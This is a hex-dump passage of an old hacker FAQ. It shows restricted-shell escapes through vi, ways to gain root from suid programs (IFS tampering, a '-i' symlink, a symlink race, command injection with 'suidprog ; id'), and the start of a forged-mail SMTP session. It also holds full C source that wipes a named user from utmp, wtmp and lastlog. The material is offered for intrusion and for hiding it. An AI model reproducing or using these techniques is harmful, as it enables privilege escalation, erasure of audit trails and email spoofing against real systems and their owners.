|000032a0| 65 6c 6c 3f 0d 0a 0d 0a | 4f 6e 20 70 6f 6f 72 6c |ell?....|On poorl|
|000032b0| 79 20 69 6d 70 6c 65 6d | 65 6e 74 65 64 20 72 65 |y implem|ented re|
|000032c0| 73 74 72 69 63 74 65 64 | 20 73 68 65 6c 6c 73 20 |stricted| shells |
|000032d0| 79 6f 75 20 63 61 6e 20 | 62 72 65 61 6b 20 6f 75 |you can |break ou|
|000032e0| 74 20 6f 66 20 74 68 65 | 0d 0a 72 65 73 74 72 69 |t of the|..restri|
|000032f0| 63 74 65 64 20 65 6e 76 | 69 72 6f 6e 6d 65 6e 74 |cted env|ironment|
|00003300| 20 62 79 20 72 75 6e 6e | 69 6e 67 20 61 20 70 72 | by runn|ing a pr|
|00003310| 6f 67 72 61 6d 20 74 68 | 61 74 20 66 65 61 74 75 |ogram th|at featu|
|00003320| 72 65 73 20 61 20 73 68 | 65 6c 6c 0d 0a 66 75 6e |res a sh|ell..fun|
|00003330| 63 74 69 6f 6e 2e 20 20 | 41 20 67 6f 6f 64 20 65 |ction. |A good e|
|00003340| 78 61 6d 70 6c 65 20 69 | 73 20 76 69 2e 20 20 52 |xample i|s vi. R|
|00003350| 75 6e 20 76 69 20 61 6e | 64 20 75 73 65 20 74 68 |un vi an|d use th|
|00003360| 69 73 20 63 6f 6d 6d 61 | 6e 64 3a 0d 0a 0d 0a 3a |is comma|nd:....:|
|00003370| 73 65 74 20 73 68 65 6c | 6c 3d 2f 62 69 6e 2f 73 |set shel|l=/bin/s|
|00003380| 68 0d 0a 0d 0a 74 68 65 | 6e 20 73 68 65 6c 6c 20 |h....the|n shell |
|00003390| 75 73 69 6e 67 20 74 68 | 69 73 20 63 6f 6d 6d 61 |using th|is comma|
|000033a0| 6e 64 3a 0d 0a 0d 0a 3a | 73 68 65 6c 6c 0d 0a 0d |nd:....:|shell...|
|000033b0| 0a 0d 0a 31 30 2e 20 48 | 6f 77 20 64 6f 20 49 20 |...10. H|ow do I |
|000033c0| 67 61 69 6e 20 72 6f 6f | 74 20 66 72 6f 6d 20 61 |gain roo|t from a|
|000033d0| 20 73 75 69 64 20 73 63 | 72 69 70 74 20 6f 72 20 | suid sc|ript or |
|000033e0| 70 72 6f 67 72 61 6d 3f | 0d 0a 0d 0a 31 2e 20 43 |program?|....1. C|
|000033f0| 68 61 6e 67 65 20 49 46 | 53 2e 0d 0a 0d 0a 49 66 |hange IF|S.....If|
|00003400| 20 74 68 65 20 70 72 6f | 67 72 61 6d 20 63 61 6c | the pro|gram cal|
|00003410| 6c 73 20 61 6e 79 20 6f | 74 68 65 72 20 70 72 6f |ls any o|ther pro|
|00003420| 67 72 61 6d 73 20 75 73 | 69 6e 67 20 74 68 65 20 |grams us|ing the |
|00003430| 73 79 73 74 65 6d 28 29 | 20 66 75 6e 63 74 69 6f |system()| functio|
|00003440| 6e 0d 0a 63 61 6c 6c 2c | 20 79 6f 75 20 6d 61 79 |n..call,| you may|
|00003450| 20 62 65 20 61 62 6c 65 | 20 74 6f 20 66 6f 6f 6c | be able| to fool|
|00003460| 20 69 74 20 62 79 20 63 | 68 61 6e 67 69 6e 67 20 | it by c|hanging |
|00003470| 49 46 53 2e 20 20 49 46 | 53 20 69 73 20 74 68 65 |IFS. IF|S is the|
|00003480| 20 49 6e 74 65 72 6e 61 | 6c 0d 0a 46 69 65 6c 64 | Interna|l..Field|
|00003490| 20 53 65 70 61 72 61 74 | 6f 72 20 74 68 61 74 20 | Separat|or that |
|000034a0| 74 68 65 20 73 68 65 6c | 6c 20 75 73 65 73 20 74 |the shel|l uses t|
|000034b0| 6f 20 64 65 6c 69 6d 69 | 74 20 61 72 67 75 6d 65 |o delimi|t argume|
|000034c0| 6e 74 73 2e 0d 0a 0d 0a | 49 66 20 74 68 65 20 70 |nts.....|If the p|
|000034d0| 72 6f 67 72 61 6d 20 63 | 6f 6e 74 61 69 6e 73 20 |rogram c|ontains |
|000034e0| 61 20 6c 69 6e 65 20 74 | 68 61 74 20 6c 6f 6f 6b |a line t|hat look|
|000034f0| 73 20 6c 69 6b 65 20 74 | 68 69 73 3a 0d 0a 0d 0a |s like t|his:....|
|00003500| 73 79 73 74 65 6d 28 22 | 2f 62 69 6e 2f 64 61 74 |system("|/bin/dat|
|00003510| 65 22 29 0d 0a 0d 0a 61 | 6e 64 20 79 6f 75 20 63 |e")....a|nd you c|
|00003520| 68 61 6e 67 65 20 49 46 | 53 20 74 6f 20 27 2f 27 |hange IF|S to '/'|
|00003530| 20 74 68 65 20 73 68 65 | 6c 6c 20 77 69 6c 6c 20 | the she|ll will |
|00003540| 74 68 65 6d 20 69 6e 74 | 65 72 70 72 65 74 20 74 |them int|erpret t|
|00003550| 68 65 0d 0a 70 72 6f 63 | 65 65 64 69 6e 67 20 6c |he..proc|eeding l|
|00003560| 69 6e 65 20 61 73 3a 0d | 0a 0d 0a 62 69 6e 20 64 |ine as:.|...bin d|
|00003570| 61 74 65 0d 0a 0d 0a 4e | 6f 77 2c 20 69 66 20 79 |ate....N|ow, if y|
|00003580| 6f 75 20 68 61 76 65 20 | 61 20 70 72 6f 67 72 61 |ou have |a progra|
|00003590| 6d 20 6f 66 20 79 6f 75 | 72 20 6f 77 6e 20 69 6e |m of you|r own in|
|000035a0| 20 74 68 65 20 70 61 74 | 68 20 63 61 6c 6c 65 64 | the pat|h called|
|000035b0| 20 22 62 69 6e 22 20 74 | 68 65 0d 0a 73 75 69 64 | "bin" t|he..suid|
|000035c0| 20 70 72 6f 67 72 61 6d | 20 77 69 6c 6c 20 72 75 | program| will ru|
|000035d0| 6e 20 79 6f 75 72 20 70 | 72 6f 67 72 61 6d 20 69 |n your p|rogram i|
|000035e0| 6e 73 74 65 61 64 20 6f | 66 20 2f 62 69 6e 2f 64 |nstead o|f /bin/d|
|000035f0| 61 74 65 2e 0d 0a 0d 0a | 54 6f 20 63 68 61 6e 67 |ate.....|To chang|
|00003600| 65 20 49 46 53 2c 20 75 | 73 65 20 74 68 69 73 20 |e IFS, u|se this |
|00003610| 63 6f 6d 6d 61 6e 64 3a | 0d 0a 0d 0a 49 46 53 3d |command:|....IFS=|
|00003620| 27 2f 27 3b 65 78 70 6f | 72 74 20 49 46 53 20 20 |'/';expo|rt IFS |
|00003630| 20 20 20 20 23 20 42 6f | 75 72 6e 65 20 53 68 65 | # Bo|urne She|
|00003640| 6c 6c 0d 0a 73 65 74 65 | 6e 76 20 49 46 53 20 27 |ll..sete|nv IFS '|
|00003650| 2f 27 20 20 20 20 20 20 | 20 20 20 20 23 20 43 20 |/' | # C |
|00003660| 53 68 65 6c 6c 0d 0a 65 | 78 70 6f 72 74 20 49 46 |Shell..e|xport IF|
|00003670| 53 3d 27 2f 27 20 20 20 | 20 20 20 20 20 20 20 23 |S='/' | #|
|00003680| 20 4b 6f 72 6e 20 53 68 | 65 6c 6c 0d 0a 0d 0a 0d | Korn Sh|ell.....|
|00003690| 0a 32 2e 20 6c 69 6e 6b | 20 74 68 65 20 73 63 72 |.2. link| the scr|
|000036a0| 69 70 74 20 74 6f 20 2d | 69 0d 0a 0d 0a 43 72 65 |ipt to -|i....Cre|
|000036b0| 61 74 65 20 61 20 73 79 | 6d 62 6f 6c 69 63 20 6c |ate a sy|mbolic l|
|000036c0| 69 6e 6b 20 6e 61 6d 65 | 64 20 22 2d 69 22 20 74 |ink name|d "-i" t|
|000036d0| 6f 20 74 68 65 20 70 72 | 6f 67 72 61 6d 2e 20 20 |o the pr|ogram. |
|000036e0| 52 75 6e 6e 69 6e 67 20 | 22 2d 69 22 0d 0a 77 69 |Running |"-i"..wi|
|000036f0| 6c 6c 20 63 61 75 73 65 | 20 74 68 65 20 69 6e 74 |ll cause| the int|
|00003700| 65 72 70 72 65 74 65 72 | 20 73 68 65 6c 6c 20 28 |erpreter| shell (|
|00003710| 2f 62 69 6e 2f 73 68 29 | 20 74 6f 20 73 74 61 72 |/bin/sh)| to star|
|00003720| 74 20 75 70 20 69 6e 20 | 69 6e 74 65 72 61 63 74 |t up in |interact|
|00003730| 69 76 65 0d 0a 6d 6f 64 | 65 2e 20 20 54 68 69 73 |ive..mod|e. This|
|00003740| 20 6f 6e 6c 79 20 77 6f | 72 6b 73 20 6f 6e 20 73 | only wo|rks on s|
|00003750| 75 69 64 20 73 68 65 6c | 6c 20 73 63 72 69 70 74 |uid shel|l script|
|00003760| 73 2e 0d 0a 0d 0a 45 78 | 61 6d 70 6c 65 3a 0d 0a |s.....Ex|ample:..|
|00003770| 0d 0a 25 20 6c 6e 20 73 | 75 69 64 2e 73 68 20 2d |..% ln s|uid.sh -|
|00003780| 69 0d 0a 25 20 2d 69 0d | 0a 23 0d 0a 0d 0a 0d 0a |i..% -i.|.#......|
|00003790| 33 2e 20 45 78 70 6c 6f | 69 74 20 61 20 72 61 63 |3. Explo|it a rac|
|000037a0| 65 20 63 6f 6e 64 69 74 | 69 6f 6e 0d 0a 0d 0a 52 |e condit|ion....R|
|000037b0| 65 70 6c 61 63 65 20 61 | 20 73 79 6d 62 6f 6c 69 |eplace a| symboli|
|000037c0| 63 20 6c 69 6e 6b 20 74 | 6f 20 74 68 65 20 70 72 |c link t|o the pr|
|000037d0| 6f 67 72 61 6d 20 77 69 | 74 68 20 61 6e 6f 74 68 |ogram wi|th anoth|
|000037e0| 65 72 20 70 72 6f 67 72 | 61 6d 20 77 68 69 6c 65 |er progr|am while|
|000037f0| 20 74 68 65 0d 0a 6b 65 | 72 6e 65 6c 20 69 73 20 | the..ke|rnel is |
|00003800| 6c 6f 61 64 69 6e 67 20 | 2f 62 69 6e 2f 73 68 2e |loading |/bin/sh.|
|00003810| 0d 0a 0d 0a 45 78 61 6d | 70 6c 65 3a 0d 0a 0d 0a |....Exam|ple:....|
|00003820| 6e 69 63 65 20 2d 31 39 | 20 73 75 69 64 70 72 6f |nice -19| suidpro|
|00003830| 67 20 3b 20 6c 6e 20 2d | 73 20 65 76 69 6c 70 72 |g ; ln -|s evilpr|
|00003840| 6f 67 20 73 75 69 64 72 | 6f 6f 74 0d 0a 0d 0a 0d |og suidr|oot.....|
|00003850| 0a 34 2e 20 53 65 6e 64 | 20 62 61 64 20 69 6e 70 |.4. Send| bad inp|
|00003860| 75 74 20 74 6f 20 74 68 | 65 20 70 72 6f 67 72 61 |ut to th|e progra|
|00003870| 6d 2e 0d 0a 0d 0a 49 6e | 76 6f 6b 65 20 74 68 65 |m.....In|voke the|
|00003880| 20 6e 61 6d 65 20 6f 66 | 20 74 68 65 20 70 72 6f | name of| the pro|
|00003890| 67 72 61 6d 20 61 6e 64 | 20 61 20 73 65 70 61 72 |gram and| a separ|
|000038a0| 61 74 65 20 63 6f 6d 6d | 61 6e 64 20 6f 6e 20 74 |ate comm|and on t|
|000038b0| 68 65 20 73 61 6d 65 0d | 0a 63 6f 6d 6d 61 6e 64 |he same.|.command|
|000038c0| 20 6c 69 6e 65 2e 0d 0a | 0d 0a 45 78 61 6d 70 6c | line...|..Exampl|
|000038d0| 65 3a 0d 0a 0d 0a 73 75 | 69 64 70 72 6f 67 20 3b |e:....su|idprog ;|
|000038e0| 20 69 64 0d 0a 0d 0a 0d | 0a 31 31 2e 20 48 6f 77 | id.....|.11. How|
|000038f0| 20 64 6f 20 49 20 65 72 | 61 73 65 20 6d 79 20 70 | do I er|ase my p|
|00003900| 72 65 73 65 6e 63 65 20 | 66 72 6f 6d 20 74 68 65 |resence |from the|
|00003910| 20 73 79 73 74 65 6d 20 | 6c 6f 67 73 3f 0d 0a 0d | system |logs?...|
|00003920| 0a 45 64 69 74 20 2f 65 | 74 63 2f 75 74 6d 70 2c |.Edit /e|tc/utmp,|
|00003930| 20 2f 75 73 72 2f 61 64 | 6d 2f 77 74 6d 70 20 61 | /usr/ad|m/wtmp a|
|00003940| 6e 64 20 2f 75 73 72 2f | 61 64 6d 2f 6c 61 73 74 |nd /usr/|adm/last|
|00003950| 6c 6f 67 2e 20 54 68 65 | 73 65 20 61 72 65 20 6e |log. The|se are n|
|00003960| 6f 74 20 74 65 78 74 0d | 0a 66 69 6c 65 73 20 74 |ot text.|.files t|
|00003970| 68 61 74 20 63 61 6e 20 | 62 65 20 65 64 69 74 65 |hat can |be edite|
|00003980| 64 20 62 79 20 68 61 6e | 64 20 77 69 74 68 20 76 |d by han|d with v|
|00003990| 69 2c 20 79 6f 75 20 6d | 75 73 74 20 75 73 65 20 |i, you m|ust use |
|000039a0| 61 20 70 72 6f 67 72 61 | 6d 0d 0a 73 70 65 63 69 |a progra|m..speci|
|000039b0| 66 69 63 61 6c 6c 79 20 | 77 72 69 74 74 65 6e 20 |fically |written |
|000039c0| 66 6f 72 20 74 68 69 73 | 20 70 75 72 70 6f 73 65 |for this| purpose|
|000039d0| 2e 0d 0a 0d 0a 45 78 61 | 6d 70 6c 65 3a 0d 0a 0d |.....Exa|mple:...|
|000039e0| 0a 23 69 6e 63 6c 75 64 | 65 20 3c 73 79 73 2f 74 |.#includ|e <sys/t|
|000039f0| 79 70 65 73 2e 68 3e 0d | 0a 23 69 6e 63 6c 75 64 |ypes.h>.|.#includ|
|00003a00| 65 20 3c 73 74 64 69 6f | 2e 68 3e 0d 0a 23 69 6e |e <stdio|.h>..#in|
|00003a10| 63 6c 75 64 65 20 3c 75 | 6e 69 73 74 64 2e 68 3e |clude <u|nistd.h>|
|00003a20| 0d 0a 23 69 6e 63 6c 75 | 64 65 20 3c 73 79 73 2f |..#inclu|de <sys/|
|00003a30| 66 69 6c 65 2e 68 3e 0d | 0a 23 69 6e 63 6c 75 64 |file.h>.|.#includ|
|00003a40| 65 20 3c 66 63 6e 74 6c | 2e 68 3e 0d 0a 23 69 6e |e <fcntl|.h>..#in|
|00003a50| 63 6c 75 64 65 20 3c 75 | 74 6d 70 2e 68 3e 0d 0a |clude <u|tmp.h>..|
|00003a60| 23 69 6e 63 6c 75 64 65 | 20 3c 70 77 64 2e 68 3e |#include| <pwd.h>|
|00003a70| 0d 0a 23 69 6e 63 6c 75 | 64 65 20 3c 6c 61 73 74 |..#inclu|de <last|
|00003a80| 6c 6f 67 2e 68 3e 0d 0a | 23 64 65 66 69 6e 65 20 |log.h>..|#define |
|00003a90| 57 54 4d 50 5f 4e 41 4d | 45 20 22 2f 75 73 72 2f |WTMP_NAM|E "/usr/|
|00003aa0| 61 64 6d 2f 77 74 6d 70 | 22 0d 0a 23 64 65 66 69 |adm/wtmp|"..#defi|
|00003ab0| 6e 65 20 55 54 4d 50 5f | 4e 41 4d 45 20 22 2f 65 |ne UTMP_|NAME "/e|
|00003ac0| 74 63 2f 75 74 6d 70 22 | 0d 0a 23 64 65 66 69 6e |tc/utmp"|..#defin|
|00003ad0| 65 20 4c 41 53 54 4c 4f | 47 5f 4e 41 4d 45 20 22 |e LASTLO|G_NAME "|
|00003ae0| 2f 75 73 72 2f 61 64 6d | 2f 6c 61 73 74 6c 6f 67 |/usr/adm|/lastlog|
|00003af0| 22 0d 0a 20 0d 0a 69 6e | 74 20 66 3b 0d 0a 20 0d |".. ..in|t f;.. .|
|00003b00| 0a 76 6f 69 64 20 6b 69 | 6c 6c 5f 75 74 6d 70 28 |.void ki|ll_utmp(|
|00003b10| 77 68 6f 29 0d 0a 63 68 | 61 72 20 2a 77 68 6f 3b |who)..ch|ar *who;|
|00003b20| 0d 0a 7b 0d 0a 20 20 20 | 20 73 74 72 75 63 74 20 |..{.. | struct |
|00003b30| 75 74 6d 70 20 75 74 6d | 70 5f 65 6e 74 3b 0d 0a |utmp utm|p_ent;..|
|00003b40| 20 0d 0a 20 20 69 66 20 | 28 28 66 3d 6f 70 65 6e | .. if |((f=open|
|00003b50| 28 55 54 4d 50 5f 4e 41 | 4d 45 2c 4f 5f 52 44 57 |(UTMP_NA|ME,O_RDW|
|00003b60| 52 29 29 3e 3d 30 29 20 | 7b 0d 0a 20 20 20 20 20 |R))>=0) |{.. |
|00003b70| 77 68 69 6c 65 28 72 65 | 61 64 20 28 66 2c 20 26 |while(re|ad (f, &|
|00003b80| 75 74 6d 70 5f 65 6e 74 | 2c 20 73 69 7a 65 6f 66 |utmp_ent|, sizeof|
|00003b90| 20 28 75 74 6d 70 5f 65 | 6e 74 29 29 3e 20 30 20 | (utmp_e|nt))> 0 |
|00003ba0| 29 0d 0a 20 20 20 20 20 | 20 20 69 66 20 28 21 73 |).. | if (!s|
|00003bb0| 74 72 6e 63 6d 70 28 75 | 74 6d 70 5f 65 6e 74 2e |trncmp(u|tmp_ent.|
|00003bc0| 75 74 5f 6e 61 6d 65 2c | 77 68 6f 2c 73 74 72 6c |ut_name,|who,strl|
|00003bd0| 65 6e 28 77 68 6f 29 29 | 29 20 7b 0d 0a 20 20 20 |en(who))|) {.. |
|00003be0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 62 7a | | bz|
|00003bf0| 65 72 6f 28 28 63 68 61 | 72 20 2a 29 26 75 74 6d |ero((cha|r *)&utm|
|00003c00| 70 5f 65 6e 74 2c 73 69 | 7a 65 6f 66 28 20 75 74 |p_ent,si|zeof( ut|
|00003c10| 6d 70 5f 65 6e 74 20 29 | 29 3b 0d 0a 20 20 20 20 |mp_ent )|);.. |
|00003c20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6c 73 65 | | lse|
|00003c30| 65 6b 20 28 66 2c 20 2d | 28 73 69 7a 65 6f 66 20 |ek (f, -|(sizeof |
|00003c40| 28 75 74 6d 70 5f 65 6e | 74 29 29 2c 20 53 45 45 |(utmp_en|t)), SEE|
|00003c50| 4b 5f 43 55 52 29 3b 0d | 0a 20 20 20 20 20 20 20 |K_CUR);.|. |
|00003c60| 20 20 20 20 20 20 20 20 | 20 20 77 72 69 74 65 20 | | write |
|00003c70| 28 66 2c 20 26 75 74 6d | 70 5f 65 6e 74 2c 20 73 |(f, &utm|p_ent, s|
|00003c80| 69 7a 65 6f 66 20 28 75 | 74 6d 70 5f 65 6e 74 29 |izeof (u|tmp_ent)|
|00003c90| 29 3b 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |);.. | |
|00003ca0| 7d 0d 0a 20 20 20 20 20 | 63 6c 6f 73 65 28 66 29 |}.. |close(f)|
|00003cb0| 3b 0d 0a 20 20 7d 0d 0a | 7d 0d 0a 20 0d 0a 76 6f |;.. }..|}.. ..vo|
|00003cc0| 69 64 20 6b 69 6c 6c 5f | 77 74 6d 70 28 77 68 6f |id kill_|wtmp(who|
|00003cd0| 29 0d 0a 63 68 61 72 20 | 2a 77 68 6f 3b 0d 0a 7b |)..char |*who;..{|
|00003ce0| 0d 0a 20 20 20 20 73 74 | 72 75 63 74 20 75 74 6d |.. st|ruct utm|
|00003cf0| 70 20 75 74 6d 70 5f 65 | 6e 74 3b 0d 0a 20 20 20 |p utmp_e|nt;.. |
|00003d00| 20 6c 6f 6e 67 20 70 6f | 73 3b 0d 0a 20 0d 0a 20 | long po|s;.. .. |
|00003d10| 20 20 20 70 6f 73 20 3d | 20 31 4c 3b 0d 0a 20 20 | pos =| 1L;.. |
|00003d20| 20 20 69 66 20 28 28 66 | 3d 6f 70 65 6e 28 57 54 | if ((f|=open(WT|
|00003d30| 4d 50 5f 4e 41 4d 45 2c | 4f 5f 52 44 57 52 29 29 |MP_NAME,|O_RDWR))|
|00003d40| 3e 3d 30 29 20 7b 0d 0a | 20 0d 0a 20 20 20 20 20 |>=0) {..| .. |
|00003d50| 77 68 69 6c 65 28 70 6f | 73 20 21 3d 20 2d 31 4c |while(po|s != -1L|
|00003d60| 29 20 7b 0d 0a 20 20 20 | 20 20 20 20 20 6c 73 65 |) {.. | lse|
|00003d70| 65 6b 28 66 2c 2d 28 6c | 6f 6e 67 29 28 20 28 73 |ek(f,-(l|ong)( (s|
|00003d80| 69 7a 65 6f 66 28 73 74 | 72 75 63 74 20 75 74 6d |izeof(st|ruct utm|
|00003d90| 70 29 29 20 2a 20 70 6f | 73 29 2c 4c 5f 58 54 4e |p)) * po|s),L_XTN|
|00003da0| 44 29 3b 0d 0a 20 20 20 | 20 20 20 20 20 69 66 20 |D);.. | if |
|00003db0| 28 72 65 61 64 20 28 66 | 2c 20 26 75 74 6d 70 5f |(read (f|, &utmp_|
|00003dc0| 65 6e 74 2c 20 73 69 7a | 65 6f 66 20 28 73 74 72 |ent, siz|eof (str|
|00003dd0| 75 63 74 20 75 74 6d 70 | 29 29 3c 30 29 20 7b 0d |uct utmp|))<0) {.|
|00003de0| 0a 20 20 20 20 20 20 20 | 20 20 20 70 6f 73 20 3d |. | pos =|
|00003df0| 20 2d 31 4c 3b 0d 0a 20 | 20 20 20 20 20 20 20 7d | -1L;.. | }|
|00003e00| 20 65 6c 73 65 20 7b 0d | 0a 20 20 20 20 20 20 20 | else {.|. |
|00003e10| 20 20 20 69 66 20 28 21 | 73 74 72 6e 63 6d 70 28 | if (!|strncmp(|
|00003e20| 75 74 6d 70 5f 65 6e 74 | 2e 75 74 5f 6e 61 6d 65 |utmp_ent|.ut_name|
|00003e30| 2c 77 68 6f 2c 73 74 72 | 6c 65 6e 28 77 68 6f 29 |,who,str|len(who)|
|00003e40| 29 29 20 7b 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |)) {.. | |
|00003e50| 20 20 20 20 20 62 7a 65 | 72 6f 28 28 63 68 61 72 | bze|ro((char|
|00003e60| 20 2a 29 26 75 74 6d 70 | 5f 65 6e 74 2c 73 69 7a | *)&utmp|_ent,siz|
|00003e70| 65 6f 66 28 73 74 72 75 | 63 74 20 75 74 6d 70 20 |eof(stru|ct utmp |
|00003e80| 29 29 3b 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |));.. | |
|00003e90| 20 20 20 20 6c 73 65 65 | 6b 28 66 2c 2d 28 20 28 | lsee|k(f,-( (|
|00003ea0| 73 69 7a 65 6f 66 28 73 | 74 72 75 63 74 20 75 74 |sizeof(s|truct ut|
|00003eb0| 6d 70 29 29 20 2a 20 70 | 6f 73 29 2c 4c 5f 58 54 |mp)) * p|os),L_XT|
|00003ec0| 4e 44 29 3b 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |ND);.. | |
|00003ed0| 20 20 20 20 20 77 72 69 | 74 65 20 28 66 2c 20 26 | wri|te (f, &|
|00003ee0| 75 74 6d 70 5f 65 6e 74 | 2c 20 73 69 7a 65 6f 66 |utmp_ent|, sizeof|
|00003ef0| 20 28 75 74 6d 70 5f 65 | 6e 74 29 29 3b 0d 0a 20 | (utmp_e|nt));.. |
|00003f00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f | | po|
|00003f10| 73 20 3d 20 2d 31 4c 3b | 0d 0a 20 20 20 20 20 20 |s = -1L;|.. |
|00003f20| 20 20 20 20 7d 20 65 6c | 73 65 20 70 6f 73 20 2b | } el|se pos +|
|00003f30| 3d 20 31 4c 3b 0d 0a 20 | 20 20 20 20 20 20 20 7d |= 1L;.. | }|
|00003f40| 0d 0a 20 20 20 20 20 7d | 0d 0a 20 20 20 20 20 63 |.. }|.. c|
|00003f50| 6c 6f 73 65 28 66 29 3b | 0d 0a 20 20 7d 0d 0a 7d |lose(f);|.. }..}|
|00003f60| 0d 0a 20 0d 0a 76 6f 69 | 64 20 6b 69 6c 6c 5f 6c |.. ..voi|d kill_l|
|00003f70| 61 73 74 6c 6f 67 28 77 | 68 6f 29 0d 0a 63 68 61 |astlog(w|ho)..cha|
|00003f80| 72 20 2a 77 68 6f 3b 0d | 0a 7b 0d 0a 20 20 20 20 |r *who;.|.{.. |
|00003f90| 73 74 72 75 63 74 20 70 | 61 73 73 77 64 20 2a 70 |struct p|asswd *p|
|00003fa0| 77 64 3b 0d 0a 20 20 20 | 20 73 74 72 75 63 74 20 |wd;.. | struct |
|00003fb0| 6c 61 73 74 6c 6f 67 20 | 6e 65 77 6c 6c 3b 0d 0a |lastlog |newll;..|
|00003fc0| 20 0d 0a 20 20 20 20 20 | 69 66 20 28 28 70 77 64 | .. |if ((pwd|
|00003fd0| 3d 67 65 74 70 77 6e 61 | 6d 28 77 68 6f 29 29 21 |=getpwna|m(who))!|
|00003fe0| 3d 4e 55 4c 4c 29 20 7b | 0d 0a 20 0d 0a 20 20 20 |=NULL) {|.. .. |
|00003ff0| 20 20 20 20 20 69 66 20 | 28 28 66 3d 6f 70 65 6e | if |((f=open|
|00004000| 28 4c 41 53 54 4c 4f 47 | 5f 4e 41 4d 45 2c 20 4f |(LASTLOG|_NAME, O|
|00004010| 5f 52 44 57 52 29 29 20 | 3e 3d 20 30 29 20 7b 0d |_RDWR)) |>= 0) {.|
|00004020| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 6c 73 65 |. | lse|
|00004030| 65 6b 28 66 2c 20 28 6c | 6f 6e 67 29 70 77 64 2d |ek(f, (l|ong)pwd-|
|00004040| 3e 70 77 5f 75 69 64 20 | 2a 20 73 69 7a 65 6f 66 |>pw_uid |* sizeof|
|00004050| 20 28 73 74 72 75 63 74 | 20 6c 61 73 74 6c 6f 67 | (struct| lastlog|
|00004060| 29 2c 20 30 29 3b 0d 0a | 20 20 20 20 20 20 20 20 |), 0);..| |
|00004070| 20 20 20 20 62 7a 65 72 | 6f 28 28 63 68 61 72 20 | bzer|o((char |
|00004080| 2a 29 26 6e 65 77 6c 6c | 2c 73 69 7a 65 6f 66 28 |*)&newll|,sizeof(|
|00004090| 20 6e 65 77 6c 6c 20 29 | 29 3b 0d 0a 20 20 20 20 | newll )|);.. |
|000040a0| 20 20 20 20 20 20 20 20 | 77 72 69 74 65 28 66 2c | |write(f,|
|000040b0| 20 28 63 68 61 72 20 2a | 29 26 6e 65 77 6c 6c 2c | (char *|)&newll,|
|000040c0| 20 73 69 7a 65 6f 66 28 | 20 6e 65 77 6c 6c 20 29 | sizeof(| newll )|
|000040d0| 29 3b 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |);.. | |
|000040e0| 63 6c 6f 73 65 28 66 29 | 3b 0d 0a 20 20 20 20 20 |close(f)|;.. |
|000040f0| 20 20 20 7d 0d 0a 20 0d | 0a 20 20 20 20 7d 20 65 | }.. .|. } e|
|00004100| 6c 73 65 20 70 72 69 6e | 74 66 28 22 25 73 3a 20 |lse prin|tf("%s: |
|00004110| 3f 5c 6e 22 2c 77 68 6f | 29 3b 0d 0a 7d 0d 0a 20 |?\n",who|);..}.. |
|00004120| 0d 0a 6d 61 69 6e 28 61 | 72 67 63 2c 61 72 67 76 |..main(a|rgc,argv|
|00004130| 29 0d 0a 69 6e 74 20 61 | 72 67 63 3b 0d 0a 63 68 |)..int a|rgc;..ch|
|00004140| 61 72 20 2a 61 72 67 76 | 5b 5d 3b 0d 0a 7b 0d 0a |ar *argv|[];..{..|
|00004150| 20 20 20 20 69 66 20 28 | 61 72 67 63 3d 3d 32 29 | if (|argc==2)|
|00004160| 20 7b 0d 0a 20 20 20 20 | 20 20 20 20 6b 69 6c 6c | {.. | kill|
|00004170| 5f 6c 61 73 74 6c 6f 67 | 28 61 72 67 76 5b 31 5d |_lastlog|(argv[1]|
|00004180| 29 3b 0d 0a 20 20 20 20 | 20 20 20 20 6b 69 6c 6c |);.. | kill|
|00004190| 5f 77 74 6d 70 28 61 72 | 67 76 5b 31 5d 29 3b 0d |_wtmp(ar|gv[1]);.|
|000041a0| 0a 20 20 20 20 20 20 20 | 20 6b 69 6c 6c 5f 75 74 |. | kill_ut|
|000041b0| 6d 70 28 61 72 67 76 5b | 31 5d 29 3b 0d 0a 20 20 |mp(argv[|1]);.. |
|000041c0| 20 20 20 20 20 20 70 72 | 69 6e 74 66 28 22 5a 61 | pr|intf("Za|
|000041d0| 70 32 21 5c 6e 22 29 3b | 0d 0a 20 20 20 20 7d 20 |p2!\n");|.. } |
|000041e0| 65 6c 73 65 0d 0a 20 20 | 20 20 70 72 69 6e 74 66 |else.. | printf|
|000041f0| 28 22 45 72 72 6f 72 2e | 5c 6e 22 29 3b 0d 0a 7d |("Error.|\n");..}|
|00004200| 0d 0a 0d 0a 0d 0a 31 32 | 2e 20 48 6f 77 20 64 6f |......12|. How do|
|00004210| 20 49 20 73 65 6e 64 20 | 66 61 6b 65 6d 61 69 6c | I send |fakemail|
|00004220| 3f 0d 0a 0d 0a 54 65 6c | 6e 65 74 20 74 6f 20 70 |?....Tel|net to p|
|00004230| 6f 72 74 20 32 35 20 6f | 66 20 74 68 65 20 6d 61 |ort 25 o|f the ma|
|00004240| 63 68 69 6e 65 20 79 6f | 75 20 77 61 6e 74 20 74 |chine yo|u want t|
|00004250| 68 65 20 6d 61 69 6c 20 | 74 6f 20 61 70 70 65 61 |he mail |to appea|
|00004260| 72 20 74 6f 0d 0a 6f 72 | 69 67 69 6e 61 74 65 20 |r to..or|iginate |
|00004270| 66 72 6f 6d 2e 20 20 45 | 6e 74 65 72 20 79 6f 75 |from. E|nter you|
|00004280| 72 20 6d 65 73 73 61 67 | 65 20 61 73 20 69 6e 20 |r messag|e as in |
|00004290| 74 68 69 73 20 65 78 61 | 6d 70 6c 65 3a 0d 0a 0d |this exa|mple:...|
|000042a0| 0a 20 48 45 4c 4f 20 62 | 65 6c 6c 63 6f 72 65 2e |. HELO b|ellcore.|
|000042b0| 63 6f 6d 0d 0a 20 4d 41 | 49 4c 20 46 52 4f 4d 3a |com.. MA|IL FROM:|
|000042c0| 56 6f 79 61 67 65 72 40 | 62 65 6c 6c 63 6f 72 65 |Voyager@|bellcore|
|000042d0| 2e 63 6f 6d 0d 0a 20 52 | 43 50 54 20 54 4f 3a 70 |.com.. R|CPT TO:p|
|000042e0| 72 65 73 69 64 65 6e 74 | 40 77 68 69 74 65 68 6f |resident|@whiteho|
|000042f0| 75 73 65 2e 67 6f 76 0d | 0a 20 44 41 54 41 0d 0a |use.gov.|. DATA..|
